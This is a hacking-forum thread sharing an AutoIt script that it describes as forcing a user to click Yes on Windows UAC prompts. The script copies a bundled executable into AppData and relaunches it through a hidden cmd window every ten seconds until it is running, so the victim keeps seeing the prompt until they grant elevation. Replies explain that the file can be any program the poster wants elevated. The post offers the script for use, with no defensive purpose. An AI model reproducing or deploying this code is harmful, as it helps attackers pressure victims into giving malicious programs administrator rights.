• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

AutoIT Forcing User to press yes in UAC

Status
Not open for further replies.

H4ckCoder

Made in DZ
User
Joined
Feb 20, 2014
Messages
119
Reputation
0
Reaction score
2,356
Points
243
Credits
0
‎11 Years of Service‎
40%
[HIDE-THANKS]

#cs ----------------------------------------------------------------------------

AutoIt Version: 3.3.14.1
Author/Coder: dead Sand /MR~X [Mohamed Simon]

Script Function:
Forcing User to press yes in UAC

Instructions : - needtoUAC.exe Is the file that Need Administrator Permission
- Put needtoUAC.exe Next To Script To Copy It To Appdata Folder
#ce ----------------------------------------------------------------------------

while 1
FileInstall("needtoUAC.exe", @AppDataDir&"/needtoUAC.exe") ;Copy To appdata
If ProcessExists("needtoUAC.exe") Then ;Check If Process Is Runing
Exit 0 ;Close Script
Else ;Check If Process Isn`t Runing
$Command = "%appdata%/needtoUAC.exe" ;Command Will Execute in cmd
RunWait(@ComSpec & " /c " & $Command , @TempDir, @SW_HIDE) ;using Cmd In hidden Mode
sleep(10000)
EndIf

WEnd​
Code:
>
[/HIDE-THANKS]




 
Re: Forcing User to press yes in UAC

Need of needtouac.exe, please leave a link or something

 
Re: Forcing User to press yes in UAC

Need of needtouac.exe, please leave a link or something
"needtouac.exe" is the file that you want to run with elevated privileges.

 
Re: Forcing User to press yes in UAC

Need of needtouac.exe, please leave a link or something
Instructions : - needtoUAC.exe Is the file that Need Administrator Permission

- Put needtoUAC.exe Next To Script To Copy It To Appdata Folder

this code forcing the user to click Yes on UAC

 
Status
Not open for further replies.
Back
Top